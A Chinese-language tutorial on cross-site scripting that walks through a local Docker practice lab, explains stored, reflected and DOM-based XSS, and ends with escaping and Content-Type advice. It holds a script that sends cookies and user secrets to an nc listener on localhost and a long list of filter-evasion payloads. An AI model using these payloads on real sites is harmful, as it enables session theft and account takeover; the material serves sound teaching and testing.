XSS 攻防实践

Table of Contents

本以为 Web 技术发展那么久,XSS、SQL注入、CSRF 这类过去常见的漏洞已经被处理得很好了。最近工作发现并不是这样的,可能就是因为框架和工具把这些事情做得很好了,大家都忘记了这些漏洞的存在,及时使用了框架也没有把它们提供的漏洞预防功能使用起来。我觉得即使是今天,了解常见的安全漏洞类型也是必要的。

本文从实践出发,一步步帮助开发者了解 XSS 漏洞的原理、细节、以及简单的攻防方法。实践对于没有接触过 XSS 或者不熟悉 Web 开发的朋友来说会难一些,如果觉得比较难,可以直接查看下一步提示。如果觉得这个实践任务实在没办法理解,也没有关系,因为作为开发者的要求并不是熟练掌握它,只是知道如何避免即可,甚至仅仅知道有这么一种漏洞,使用框架的哪种功能就可以避免也是足够的。在公司层面落实安全开发过程中,也经常遇到开发无法理解漏洞原理的情况,通常也不强求开发有这样的知识,而是设置安全测试岗位来验证,开发只需要按照建议修改即可。当然了,如果大家都知道有这么一个事情,就能节省很多测试修改的时间,也是有好处的。

曾有没参加过 Web 开发的人问 XSS 攻击有什么危害。浏览器打开网页时可以执行网页中的一些代码,通常是 Javascript ,这些代码可以控制页面提交请求。攻击者通过构造一个 XSS 攻击脚本,就可以在被攻击页面做任何用户可以做的事情,包括加入购物车、提交评论、修改分数、获取隐私数据等。攻击者还可以通过 XSS 偷走你的 cookie,这样他就会在短时间内拥有你的账号。 XSS 攻击不光影响到拥有这些漏洞的网站,当用户打开这些被攻击的网站,或者钓鱼网站,他们就可能从中点击访问到那些没有 XSS 漏洞的网站并发起请求,从而完成攻击。

1 实践任务描述

前提条件是你拥有一个 Linux 环境并安装好了 Docker,随后按照下列步骤进入实践任务。

  1. 下载 Github 项目:
  2. 运行 001-xss 任务
cd security-tutorial
cd 001-xss
make docker
make run
  1. 浏览器打开 http://localhost:8080 ,如果你使用虚拟机,想要从其他电脑访问,需要把 localhost 改成虚拟机IP地址,并确认防火墙开放。
  2. 打开的网页为每个用户生成ID和Secret,想办法获取其他用户的这些信息以及 cookie。

1.1 任务提示1

页面有输入框,提交之后输入会显示在页面上,所有用户都能看到。如果输入一段代码,能不能执行呢。尝试一下输入:

Test xss and print cookie, user id,user secret on console.
<script type="text/javascript">
console.log(document.cookie);
console.log(document.getElementById('user_id').innerText);
console.log(document.getElementById('user_secret').innerText);
</script>

1.2 任务提示2

使用不同的浏览器打开,就是不同的用户。

要开一个服务器来收集这些信息,这里使用 nc 演示。

while true; do echo -e "HTTP/1.1 200 OK\nContent-Length: 0\n\n" | nc -l -p 8888; done

这里开启了 8888 端口作为 HTTP 服务器,任何请求内容都会打印到屏幕上。为了方便这里使用同一个 Linux 服务器。

Javascript 代码直接调用肯定是不行的,因为有 CORS 保护,域名不同就调用不了。但是图片的链接是可以跨域名的, iframe 也是可以的。使用 img 标签调用 GET 请求:

Test xss and send cookie, user id,user secret to http://localhost:8888.

<div id="xss_helper"></div>
<script type="text/javascript">
let myurl = "http://localhost:8888?" +document.cookie+"&id="+document.getElementById('user_id').innerText + "&secret="+document.getElementById('user_secret').innerText;
let dc = document.getElementById("xss_helper");
dc.innerHTML = '<img src="' + myurl + '">";
</script>

xss-rs.png

2 XSS 的攻防原理

跨站脚本 (Cross-Site Scripting, XSS) 攻击的一种设法将本应是数据作为前端 Javascript 代码执行的攻击手段。

xss-c.png

它的防御原理也很简单:不执行不受信任的输入源产生的数据代码。

2.1 XSS 攻击的分类

XSS 攻击分为两类:存储型(Stored XSS Attacks),反射型(Reflected XSS Attacks)。其实还有第三类,知道的人少一些:基于 DOM 的 (DOM Based XSS)。前两种比较流行,最后一种知道的人少一些。平时跟人聊我都说是两类,没必要跟别人争,而且这些分类对攻击者而言比较重要,可以给他们攻击思路,对我们开发来说意义比较小,因为防范方式差不多。

2.1.1 存储型 XSS 攻击

注入的脚本本保存到服务器里,一般是数据库里,它可能是个讨论、文章、访问日志、评论等。受害者打开网页,服务器给受害者返回包含这个脚本的页面,浏览器执行这个脚本。这就是一个完整的存储型 XSS 攻击流程。上面实践任务种的攻击就属于存储型 XSS 攻击。

store-xss.png

受害者可以是其他与攻击者相同权限的用户,这总情况下攻击者可以反复尝试并打开页面验证自己的攻击脚本是否生效。受害者可以是系统管理员或其它攻击者无法拥有的权限的用户,这种情况下,攻击者没办法打开受攻击页面进行验证,黑客们把这种攻击叫做"盲XSS" (Blind Cross-site Scripting)。盲 XSS 通常利用反馈意见、日志系统等进行 XSS 脚本注入,当管理员或者后台用户打开包含攻击者脚本的页面浏览器会执行这些脚本。盲 XSS 攻击很难,以至黑客们给它起了个名字,我觉得这应该归入存储型 XSS 攻击。

2.1.2 反射型 XSS 攻击

攻击者给受害者一个包含脚本的链接、按钮、甚至仅吸引用户访问一个精心设计的攻击网站,受害者点击或访问后,服务器返回的页面也包含这个脚本。服务器返回的包含脚本的内容可能是一个错误信息、一个搜索结果、404 页面、或者任何其它包含请求参数的地方。

refl.png

2.1.3 基于 DOM 的 XSS 攻击

有些网址种的内容并没有经过服务器,而是由浏览器直接获取加入到页面内容中,例如下面这个请求:

http://www.some.site/page.html#q=<script>alert(document.cookie)</script>

脚本在 URI fragment 里面,这部分不会发给服务器,而是只在页面可以访问到。如果页面中的逻辑直接不加验证地使用了这部分内容,例如:

...
document.write(decodeURIComponent(document.location.href.substring(document.location.href.indexOf("q=")+2)));
...

这种情况西上面请求中地代码就会出现在网页中。因为代码没有保存到服务器,所以不是存储型的,也没有由服务器返回,也不是反射型的。

详细内容可以阅读 Amit Klein 关于 DOM Base XSS 的文章

3 XSS 漏洞的测试

通过测试或者代码审查的方式判断当前系统是否存在 XSS 漏洞,测试验证的方式普遍一些。下面的测试列表列举了常用的攻击脚本内容。也可以自行搜索 "xss polyglot"。这些内容可能用在 HTML 标签、script 标签、属性或 URL 中。网上会有很多类似内容,大多都是为了跳过 WAF 的,原理类似,无非就是使用不熟知的特性,转义,特殊字符等。

3.1 <script>…</script> 标签

直接输入这个标签,其中包含代码,例如:

<script type="text/javascript">
console.log(document.cookie);
</script>

或者直接嵌入测试脚本文件:

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

3.2 HTML 标签属性

例如 onloadonmouseoveronerror :

<b onmouseover=alert('ops!')>Click me!</b>

<img src="x" onerror=alert("ops!");>

3.3 URL Encode 格式

有些 WAF (Web Application Filter) 会验证输入请求,并拦截。这时可以实用编码后的格式:

<IMG SRC=j&#X41vascript:alert('ops!')>

3.4 Base64

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnb3BzJyk8L3NjcmlwdD4K">

3.5 img 标签

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

3.6 破坏标签

\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

3.7 fromCharCode

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

3.8 各种编码转义

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

3.9 插入特殊字符

<IMG SRC="jav ascript:alert('XSS');">

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

<IMG SRC=" &#14; javascript:alert('XSS');">

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//\<</SCRIPT>

¼script¾alert(¢XSS¢)¼/script¾

3.10 不闭合的标签

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

<SCRIPT SRC=//xss.rocks/.j>

<IMG SRC="('XSS')"

<iframe src=http://xss.rocks/scriptlet.html <

3.11 转义

<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>

3.12 不熟知的属性

<IMG LOWSRC="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<BODY BACKGROUND="javascript:alert('XSS')">

<BGSOUND SRC="javascript:alert('XSS');">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<XSS STYLE="xss:expression(alert('XSS'))">

3.13 ECMA 6

Set.constructor`alert\x28document.domain\x29

3.14 & javascript

<BR SIZE="&{alert('XSS')}">

3.15 样式注入

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

<XSS STYLE="behavior: url(xss.htc);">

4 避免 XSS 漏洞

大多数 web 框架提供 XSS 漏洞的避免方法,大多使用输出转义。简单地说,就是把不信任的内容进行 HTML 转义后,再拼接到页面里,转义后的代码不会被执行,而是再浏览器端作为内容展示。 golang 提供 htmlhtml/template 包,PHP 各框架也提供各自的转义函数,函数名大概都包含 "HTML"、"Encode", 放在 URL中的内容一般包含 "URLEncode" 字样。

由于 DOM Based XSS 的存在,不光要在服务器做转义,如果要使用网址内容的话,在浏览器端也要对网址内容转义。

还有一点需要注意,必须明确在 HTML 返回头部设置 Content-Type 。下面的例子虽然返回的是 json,但其中的代码浏览器依然会执行:

HTTP/1.1 200
Content-Type: text/html; charset=utf-8
....

{"Message":"No HTTP resource was found that matches the request URI 'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath'.","MessageDetail":"No type was found
that matches the controller named 'pay'."}

这里应该设置 Content-Type: application/json; charset=utf-8

如果使用了框架,最好在网上或者在框架文档内搜索 XSS 预防相关的内容,大多都会有比较成熟简便的方法。


By .